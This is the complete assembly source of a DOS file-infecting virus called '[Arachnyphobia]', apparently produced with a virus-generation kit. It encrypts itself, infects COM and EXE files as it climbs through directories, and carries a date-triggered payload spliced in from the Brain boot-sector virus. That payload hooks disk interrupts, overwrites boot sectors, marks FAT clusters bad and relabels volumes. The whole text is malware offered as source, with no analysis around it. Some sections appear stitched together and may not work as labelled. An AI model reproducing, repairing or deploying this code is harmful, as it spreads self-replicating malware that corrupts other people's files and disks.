; Alchemy.asm : [Arachnyphobia] by Abraxas ; Created wik the Phalcon/Skism Mass-Produced Code Generator ; from the configuration file skeleton.cfg .model tiny ; Handy directive .code ; Virus code segment org 100h ; COM file starting IP id = 'DA' ; ID word for EXE infections entry_point: db 0e9h,0,0 ; jmp decrypt decrypt: ; handles encryption and decryption patch_startencrypt: mov bx,offset startencrypt ; start of decryption mov cx,(offset heap - offset startencrypt)/2 ; iterations decrypt_loop: db 2eh,81h,07h ; add word ptr cs:[bx], xxxx decrypt_value dw 0 ; initialised at zero for null effect inc bx ; calculate new decryption location inc bx loop decrypt_loop ; decrypt mo' startencrypt: call next ; calculate delta offset next: pop bp ; bp = IP next sub bp,offset next ; bp = delta offset cmp sp,id ; COM or EXE? je restoreEXE restoreCOM: lea si,[bp+save3] mov di,100h push di ; For later return movsb jmp short restoreEXIT restoreEXE: push ds push es push cs ; DS = CS pop ds push cs ; ES = CS pop es lea si,[bp+jmpsave2] lea di,[bp+jmpsave] movsw movsw movsw restoreEXIT: movsw mov byte ptr [bp+numinfec],1 ; reset infection counter mov ah,1Ah ; Set new DTA lea dx,[bp+newDTA] ; new DTA @ DS:DX int 21h mov ah,47h ; Get current directory mov dl,0 ; Current drive lea si,[bp+origdir] ; DS:SI->buffer int 21h mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR mov ax,3524h ; Get int 24 handler int 21h ; to ES:BX mov word ptr [bp+oldint24],bx; Save it mov word ptr [bp+oldint24+2],es mov ah,25h ; Set new int 24 handler lea dx,[bp+offset int24] ; DS:DX->new handler int 21h push cs ; Restore ES pop es ; 'cuz it was changed dir_scan: ; "dot dot" traversal lea dx,[bp+exe_mask] call infect_mask lea dx,[bp+com_mask] call infect_mask mov ah,3bh ; change directory lea dx,[bp+dot_dot] ; "cd .." int 21h jnc dir_scan ; go back for mo! done_infections: mov ah,2ah ; Get current date int 21h cmp dh,10 ; Check month jb exit_virus cmp dl,14 ; Check date jb exit_virus cmp cx,1991 ; Check year jae activate exit_virus: mov ax,2524h ; Restore int 24 handler lds dx,[bp+offset oldint24] ; to original int 21h push cs pop ds mov ah,3bh ; change directory lea dx,[bp+origdir-1] ; original directory int 21h mov ah,1ah ; restore DTA to default mov dx,80h ; DTA in PSP cmp sp,id-4 ; EXE or COM? jz returnEXE returnCOM: int 21h retn ; 100h is on stack returnEXE: pop es pop ds int 21h mov ax,es ; AX = PSP segment add ax,10h ; Adjust for PSP add word ptr cs:[bp+jmpsave+2],ax add ax,word ptr cs:[bp+stacksave+2] cli ; Clear intrpts for stack manipulation mov sp,word ptr cs:[bp+stacksave] mov ss,ax sti db 0eah ; jmp ssss:oooo jmpsave dd ? ; Original CS:IP stacksave dd ? ; Original SS:SP jmpsave2 db ? ; Actually four bytes save3 db 0cdh,20h,0 ; First 3 bytes of COM file stacksave2 dd ? activate: ; Conditions satisfied org 0 cli jmp entervirus idbytes db 34h, 12h firsthead db 0 firstsector dw 2707h curhead db 0 cursector dw 1 db 0, 0, 0, 0 db 'Welcome to the Dungeon ' copyright db '(c) 1986 Brain' db 17h db '& Amjads (pvt) Ltd VIRUS_SHOE ' db ' RECORD v9.0 Dedicated to th' db 'e dynamic memories of millions o' db 'f virus who are no longer with u' db 's today - Thanks GOODNESS!! ' db ' BEWARE OF THE er..VIRUS : \th' db 'is program is catching prog' db 'ram follows after these messeges' db '..... $' db '#@%$' db '@!! ' entervirus: mov ax,cs mov ds,ax ; ds = 0 mov ss,ax ; set stack to after mov sp,0F000h ; virus sti mov al,ds:[7C00h+offset firsthead] mov ds:[7C00h+offset curhead],al mov cx,ds:[7C00h+offset firstsector] mov ds:[7C00h+offset cursector],cx call calcnext mov cx,5 ; read five sectors mov bx,7C00h+200h ; after end of virus loadnext: call readdisk call calcnext add bx,200h loop loadnext mov ax,word ptr ds:[413h] ; Base memory size in Kb sub ax,7 ; - 7 Kb mov word ptr ds:[413h],ax ; Insert as new value mov cl,6 shl ax,cl ; Convert to paragraphs mov es,ax mov si,7C00h ; Copy from virus start mov di,0 ; to start of memory mov cx,1004h ; Copy 1004h bytes cld rep movsb push es mov ax,200h push ax retf ; return to old boot sector readdisk: push cx push bx mov cx,4 ; Try 4 times tryread: push cx mov dh,ds:[7C00h+offset curhead] mov dl,0 ; Read sector from default mov cx,ds:[7C00h+offset cursector] mov ax,201h ; Disk to memory at es:bx int 13h jnc readOK mov ah,0 ; Reset disk int 13h ; (force read track 0) pop cx loop tryread int 18h ; ROM basic on failure readOK: pop cx pop bx pop cx retn calcnext: mov al,byte ptr ds:[7C00h+offset cursector] inc al mov byte ptr ds:[7C00h+offset cursector],al cmp al,0Ah jne donecalc mov byte ptr ds:[7C00h+offset cursector],1 mov al,ds:[7C00h+offset curhead] inc al mov ds:[7C00h+offset curhead],al cmp al,2 jne donecalc mov byte ptr ds:[7C00h+offset curhead],0 inc byte ptr ds:[7C00h+offset cursector+1] donecalc: retn ; the following is a collection of garbage bytes db 00h, 00h, 00h, 00h, 32h,0E3h db 23h, 4Dh, 59h,0F4h,0A1h, 82h db 0BCh,0C3h, 12h, 00h, 7Eh, 12h db 0CDh, 21h,0A2h, 3Ch, 5Fh a_data dw 050Ch ; Second part of the virus begins here jmp short entersecondpart db '(c) 1986 Brain & Amjads (pvt) Ltd ',0 readcounter db 4 ; keep track of # reads curdrive db 0 int13flag db 0 entersecondpart: mov cs:readcounter,1Fh xor ax,ax mov ds,ax ; ds -> interrupt table mov ax,ds:[13h*4] mov ds:[6Dh*4],ax mov ax,ds:[13h*4+2] mov ds:[6Dh*4+2],ax mov ax,offset int13 ; 276h mov ds:[13h*4],ax mov ax,cs mov ds:[13h*4+2],ax mov cx,4 ; 4 tries xor ax,ax mov es,ax ; es -> interrupt table tryreadbootsector: push cx mov dh,cs:firsthead mov dl,0 mov cx,cs:firstsector mov ax,201h ; read from default disk mov bx,7C00h int 6Dh ; int 13h jnc readbootOK mov ah,0 int 6Dh ; int 13h pop cx loop tryreadbootsector int 18h ; ROM basic on failure readbootOK: ; return control to ; original boot sector ;* jmp far ptr 0000:7C00h db 0EAh, 00h, 7Ch, 00h, 00h nop ; MASM NOP!!! int13: sti cmp ah,2 ; if not read request, jne doint13 ; do not go further cmp dl,2 ; if after second floppy, ja doint13 ; do not go further cmp ch,0 ; if not reading boot sector, jne regularread ; go handle as usual cmp dh,0 ; if boot sector, je readboot ; do I<-/>/\|> stuff regularread: dec cs:readcounter ; Infect after 4 reads jnz doint13 ; If counter still OK, don't ; do anything else jmp short readboot ; Otherwise, try to infect doint13: jmp exitint13h readboot: ; FINISH THIS! mov cs:int13flag,0 ; clear flag mov cs:readcounter,4 ; reset counter push ax push bx push cx push dx mov cs:curdrive,dl mov cx,4 tryreadbootblock: push cx mov ah,0 ; Reset disk int 6Dh jc errorreadingbootblock ; Try again mov dh,0 mov cx,1 mov bx,offset readbuffer ; buffer @ 6BEh push es mov ax,cs mov es,ax mov ax,201h int 6Dh ; Read boot sector pop es jnc continuestuff ; continue if no error errorreadingbootblock: pop cx loop tryreadbootblock jmp short resetdisk ; too many failures nop continuestuff: pop cx ; get system id in boot block mov ax,word ptr cs:[offset readbuffer+4] cmp ax,1234h ; already infected? jne dodisk ; if not, infect it mov cs:int13flag,1 ; flag prev. infection jmp short noreset dodisk: push ds push es mov ax,cs mov ds,ax mov es,ax push si call writevirus ; infect the disk jc failme ; exit on failure mov cs:int13flag,2 ; flag success call changeroot ; manipulate volume label failme: pop si pop es pop ds jnc noreset ; don't reset on success resetdisk: mov ah,0 ; reset disk int 6Dh ; int 13h noreset: pop dx pop cx pop bx pop ax cmp cx,1 jne exitint13h cmp dh,0 jne exitint13h cmp cs:int13flag,1 ; already infected? jne wasntinfected ; if wasn't, go elsewhere mov cx,word ptr cs:[offset readbuffer+7] mov dx,word ptr cs:[offset readbuffer+5] mov dl,cs:curdrive ; otherwise, read real jmp short exitint13h ; boot sector wasntinfected: cmp cs:int13flag,2 ; successful infection? jne exitint13h ; if not, just do call mov cx,cs:firstsector mov dh,cs:firsthead exitint13h: int 6Dh ; int 13h retf 2 db 15 dup (0) FATManip: ; returns al as error code jmp short delvedeeper nop FATManipreadcounter dw 3 db ' (c) 1986 Brain & Amjads (pvt) Ltd' delvedeeper: call readFAT ; Get FAT ID byte mov ax,word ptr ds:[offset readbuffer] cmp ax,0FFFDh ; is it 360K disk? je is360Kdisk ; continue if so mov al,3 ; al=3 == not good disk stc ; flag error retn ; and exit is360Kdisk: mov cx,37h mov FATManipreadcounter,0 ; none found yet checknextsector: call FATentry12bit ; get entry in FAT cmp ax,0 ; unused? jne notunused inc FATManipreadcounter ; one more found unused cmp FATManipreadcounter,3 ; If need more, jne tryanother ; go there jmp short markembad ; found 3 consecutive nop ; empty sectors notunused: mov FATManipreadcounter,0 ; must start over tryanother: inc cx ; try next sector cmp cx,163h ; end of disk? jne checknextsector ; if not, continue mov al,1 ; al=1 == none empty stc ; Indicate error retn markembad: mov dl,3 ; 3 times markanotherbad: call markbad12bit dec cx dec dl jnz markanotherbad inc cx call calc1sttrack call writeFAT ; update FAT mov al,0 ; al=0 == ok clc ; indicate success retn markbad12bit: push cx push dx mov si,offset readbuffer ; si -> buffer mov al,cl shr al,1 jc low_12 ; low bits call clus2offset12bit mov ax,[bx+si] ; get FAT entry and ax,0F000h ; mark it bad or ax,0FF7h jmp short putitback ; and put it back nop low_12: call clus2offset12bit mov ax,[bx+si] ; get FAT entry and ax,0Fh ; mark it bad or ax,0FF70h putitback: mov [bx+si],ax ; replace FAT entry mov word ptr ds:[400h][bx+si],ax ; in two places pop dx pop cx retn FATentry12bit: push cx mov si,offset readbuffer ; si->buffer mov al,cl shr al,1 ; Part 3 of the virus starts here jc want_high_12 call clus2offset12bit mov ax,[bx+si] and ax,0FFFh jmp short exitFATentry12bit nop want_high_12: call clus2offset12bit ; xxxxxxxxxxxx0000 mov ax,[bx+si] ; ^^^^^^^^^^^^wanted and ax,0FFF0h ; mask wanted bits mov cl,4 ; and move to correct shr ax,cl ; position exitFATentry12bit: pop cx retn clus2offset12bit: push dx mov ax,3 mul cx shr ax,1 ; ax = cx*1.5 mov bx,ax pop dx retn readFAT: mov ah,2 ; read call FAT_IO retn writeFAT: mov ah,3 ; write call FAT_IO retn FAT_IO: mov cx,4 ; try four times FAT_IOLoop: push cx push ax mov ah,0 ; reset disk int 6Dh ; int 13h pop ax jc tryFAT_IOagain mov bx,offset readbuffer mov al,4 ; 4 sectors mov dh,0 ; head 0 mov dl,curdrive mov cx,2 ; sector 2 push ax ; (FAT) int 6Dh ; int 13h pop ax jnc exitFAT_IO tryFAT_IOagain: pop cx loop FAT_IOLoop pop ax pop ax mov al,2 stc ; mark error retn exitFAT_IO: pop cx retn calc1sttrack: push cx sub cx,2 shl cx,1 ; 2 sectors/cluster add cx,0Ch ; start of data area mov ax,cx ; ax = sector mov cl,12h ; 4096 div cl ; ax/4096 = al rem ah mov byte ptr firstsector+1,al mov firsthead,0 inc ah cmp ah,9 ; past track 9? jbe notpasttrack9 ; nope, we are ok sub ah,9 ; otherwise, adjust mov firsthead,1 notpasttrack9: mov byte ptr firstsector,ah pop cx retn db 0, 0, 0, 0, 0, 0 r_or_w_root db 3 entrycount dw 35h tempsave1 dw 303h tempsave2 dw 0EBEh tempsave3 dw 1 tempsave4 dw 100h db 0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh db 8Dh, 98h, 9Fh, 8Eh,0E0h db ' (c) ashar $' changeroot: call readroot ; read in root directory jc donotchangeroot push di call changevolume ; change volume label pop di jc donotchangeroot call writeroot ; write back new root dir donotchangeroot: retn ; The following is just garbage bytes db 0BBh, 9Bh, 04h,0B9h, 0Bh db 0,8Ah,7,0F6h,0D8h,88h,4,46h,43h db 0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h db 0C6h, 06h changevolume: mov entrycount,6Ch mov si,offset readbuffer+40h; 3nd dir entry mov tempsave1,dx mov ax,entrycount ; 6Ch shr ax,1 mov tempsave3,ax ; 36h shr ax,1 mov tempsave2,ax ; 1Bh xchg ax,cx and cl,43h ; cx = 3 mov di,tempsave2 add di,1E3h ; di = 01FE findlabel: mov al,[si] cmp al,0 je dolabel ; no mo entries mov al,[si+0Bh] ; attribute byte and al,8 ; volume label? cmp al,8 ; yes? je dolabel ; then change it! add si,20h ; go to next directory entry dec entrycount jnz findlabel ; loop back stc ; Error! retn db 8Bh dolabel: mov bx,[di] ; offset a_data xor bx,tempsave3 ; bx = 53Ah mov tempsave3,si ; si->direntry cli mov ax,ss mov tempsave1,ax mov tempsave2,sp mov ax,cs mov ss,ax mov sp,tempsave3 add sp,0Ch ;->reserved area mov cl,51h add dx,444Ch mov di,2555h mov cx,0C03h repe cmpsw mov ax,0B46h mov cx,3 rol ax,cl ; ax = 5A30h mov tempsave3,ax mov cx,5 mov dx,8 sub tempsave3,5210h ; 820h push tempsave3 ; store attributes/reserved ; I haven't commented the remainder of this procedure. ; It basically changes the volume label to read "(c) Brain" ; Comment mode OFF dowhatever: mov ah,[bx] ; 5a3h inc bx mov dl,ah shl dl,1 jc dowhatever searchstuff: mov dl,[bx] ; dl=C2h inc bx ; bx=53Eh mov al,dl shl dl,1 jc searchstuff add ax,1D1Dh push ax inc tempsave3 db 73h, 01h ; jnc $+3 db 0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2 xchg bp,ax add al,0A1h xchg bx,ax add al,8Eh sar bl,1 add dh,[bp+si] clc ret ;db 95h, 04h,0A1h, 93h, 04h, 8Eh ;db 0D0h,0FBh, 02h, 32h,0F8h,0C3h ; Comment mode ON readroot: mov r_or_w_root,2 ; set action code jmp short do_rw_root ; easier to do w/ nop ; mov ah, 2 writeroot: mov r_or_w_root,3 jmp short do_rw_root ; this is somewhat useless nop do_rw_root: mov dh,0 ; head 0 mov dl,curdrive mov cx,6 ; sector 6 mov ah,r_or_w_root mov al,4 ; 4 sectors mov bx,offset readbuffer call doint13h jc exit_rw_root ; quit on error mov cx,1 mov dh,1 ; head 1 mov ah,r_or_w_root mov al,3 add bx,800h call doint13h exit_rw_root: retn doint13h: mov tempsave1,ax mov tempsave2,bx mov tempsave3,cx mov tempsave4,dx mov cx,4 doint13hloop: push cx mov ah,0 ; Reset disk int 6Dh jc errordoingint13h mov ax,tempsave1 mov bx,tempsave2 mov cx,tempsave3 mov dx,tempsave4 int 6Dh ; int 13h jnc int13hsuccess errordoingint13h: pop cx loop doint13hloop stc ; indicate error retn int13hsuccess: pop cx retn db 0, 0, 0 ; Part 4 of the virus starts here tempstorecx dw 3 readwritecurrentdata dw 301h writevirus: call FATManip jc exitwritevirus mov cursector,1 mov curhead,0 mov bx,offset readbuffer call readcurrent mov bx,offset readbuffer mov ax,firstsector mov cursector,ax mov ah,firsthead mov curhead,ah call writecurrent call calcnextsector mov cx,5 mov bx,200h writeanothersector: mov tempstorecx,cx call writecurrent call calcnextsector add bx,200h mov cx,tempstorecx loop writeanothersector mov curhead,0 mov cursector,1 mov bx,0 call writecurrent clc ; indicate success exitwritevirus: retn readcurrent: mov readwritecurrentdata,201h jmp short doreadwrite nop writecurrent: mov readwritecurrentdata,301h jmp short doreadwrite ; This is pointless. nop doreadwrite: push bx mov cx,4 tryreadwriteagain: push cx mov dh,curhead mov dl,curdrive mov cx,cursector mov ax,readwritecurrentdata ; read or write? int 6Dh ; int 13h jnc readwritesuccessful mov ah,0 ; reset disk int 6Dh ; int 13h pop cx loop tryreadwriteagain pop bx pop bx stc ; Indicate error retn readwritesuccessful: pop cx pop bx retn calcnextsector: inc byte ptr cursector ; next sector cmp byte ptr cursector,0Ah jne donecalculate ; finished calculations mov byte ptr cursector,1 ; clear sector # inc curhead ; and go to next head cmp curhead,2 ; if not too large, jne donecalculate ; we are done mov curhead,0 ; otherwise clear head # inc byte ptr cursector+1 ; and advance cylinder donecalculate: retn db 64h, 74h, 61h ; read buffer starts here ; insert your favorite boot block below... readbuffer: jmp exit_virus creator db '[Z10]',0 ; Mass Produced Code Generator virusname db '[Arachnyphobia]',0 author db 'Abraxas',0 infect_mask: mov ah,4eh ; find first file mov cx,7 ; any attribute findfirstnext: int 21h ; DS:DX points to mask jc exit_infect_mask ; No mo files found mov al,0h ; Open read only call open mov ah,3fh ; Read file to buffer lea dx,[bp+buffer] ; @ DS:DX mov cx,1Ah ; 1Ah bytes int 21h mov ah,3eh ; Close file int 21h cmp word ptr [bp+buffer],'ZM'; EXE? jz checkEXE ; Why yes, yes it is! checkCOM: mov ax,word ptr [bp+newDTA+35] ; Get tail of filename cmp ax,'DN' ; Ends in ND? (commaND) jz find_next mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA cmp ax,12000 ; Is it too small? jb find_next cmp ax,65535-(endheap-decrypt) ; Is it too large? ja find_next mov bx,word ptr [bp+buffer+1]; get jmp location add bx,heap-decrypt+3 ; Adjust for virus size cmp ax,bx je find_next ; already infected jmp infect_com checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? jnz infect_exe find_next: mov ah,4fh ; find next file jmp short findfirstnext exit_infect_mask: ret infect_exe: les ax, dword ptr [bp+buffer+14h] ; Save old entry point mov word ptr [bp+jmpsave2], ax mov word ptr [bp+jmpsave2+2], es les ax, dword ptr [bp+buffer+0Eh] ; Save old stack mov word ptr [bp+stacksave2], es mov word ptr [bp+stacksave2+2], ax mov ax, word ptr [bp+buffer + 8] ; Get header size mov cl, 4 ; convert to bytes shl ax, cl xchg ax, bx les ax, [bp+offset newDTA+26]; Get file size mov dx, es ; to DX:AX push ax push dx sub ax, bx ; Subtract header size from sbb dx, 0 ; file size mov cx, 10h ; Convert to segment:offset div cx ; form mov word ptr [bp+buffer+14h], dx ; New entry point mov word ptr [bp+buffer+16h], ax mov word ptr [bp+buffer+0Eh], ax ; and stack mov word ptr [bp+buffer+10h], id pop dx ; get file length pop ax add ax, heap-decrypt ; add virus size adc dx, 0 mov cl, 9 push ax shr ax, cl ror dx, cl stc adc dx, ax pop ax and ah, 1 ; mod 512 mov word ptr [bp+buffer+4], dx ; new file size mov word ptr [bp+buffer+2], ax push cs ; restore ES pop es push word ptr [bp+buffer+14h] ; needed later mov cx, 1ah jmp short finishinfection infect_com: ; ax = filesize mov cx,3 sub ax,cx lea si,[bp+offset buffer] lea di,[bp+offset save3] movsw movsb mov byte ptr [si-3],0e9h mov word ptr [si-2],ax add ax,103h push ax ; needed later finishinfection: push cx ; Save # bytes to write xor cx,cx ; Clear attributes call attributes ; Set file attributes mov al,2 call open mov ah,40h ; Write to file lea dx,[bp+buffer] ; Write from buffer pop cx ; cx bytes int 21h mov ax,4202h ; Move file pointer xor cx,cx ; to end of file cwd ; xor dx,dx int 21h get_encrypt_value: mov ah,2ch ; Get current time int 21h ; dh=sec,dl=1/100 sec or dx,dx ; Check if encryption value = 0 jz get_encrypt_value ; Get another if it is mov [bp+decrypt_value],dx ; Set new encryption value lea di,[bp+code_store] mov ax,5355h ; push bp,push bx stosw lea si,[bp+decrypt] ; Copy encryption function mov cx,startencrypt-decrypt ; Bytes to move push si ; Save for later use push cx rep movsb xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub lea si,[bp+write] ; Copy writing function mov cx,endwrite-write ; Bytes to move rep movsb pop cx pop si pop dx ; Entry point of virus push di push si push cx rep movsb ; Copy decryption function mov ax,5b5dh ; pop bx,pop bp stosw mov al,0c3h ; retn stosb add dx,offset startencrypt - offset decrypt ; Calculate new mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of call code_store ; decryption pop cx pop di pop si rep movsb ; Restore decryption function mov ax,5701h ; Restore creation date/time mov cx,word ptr [bp+newDTA+16h] ; time mov dx,word ptr [bp+newDTA+18h] ; date int 21h mov ah,3eh ; Close file int 21h mov ch,0 mov cl,byte ptr [bp+newDTA+15h] ; Restore original call attributes ; attributes dec byte ptr [bp+numinfec] ; One mo infection jnz mo_infections ; Not enough pop ax ; remove call from stack jmp done_infections mo_infections: jmp find_next open: mov ah,3dh lea dx,[bp+newDTA+30] ; filename in DTA int 21h xchg ax,bx ret attributes: mov ax,4301h ; Set attributes to cx lea dx,[bp+newDTA+30] ; filename in DTA int 21h ret write: pop bx ; Restore file handle pop bp ; Restore relativeness mov ah,40h ; Write to file lea dx,[bp+decrypt] ; Concatenate virus mov cx,heap-decrypt ; # bytes to write int 21h push bx push bp endwrite: int24: ; New int 24h (error) handler mov al,3 ; Fail call iret ; Return control exe_mask db '*.exe',0 com_mask db '*.com',0 dot_dot db '..',0 heap: ; Variables not in code ; The following code is the buffer for the write function code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) oldint24 dd ? ; Storage for old int 24h handler backslash db ? origdir db 64 dup (?) ; Current directory buffer newDTA db 43 dup (?) ; Temporary DTA numinfec db ? ; Infections this run buffer db 1ah dup (?) ; read buffer endheap: ; End of virus end entry_point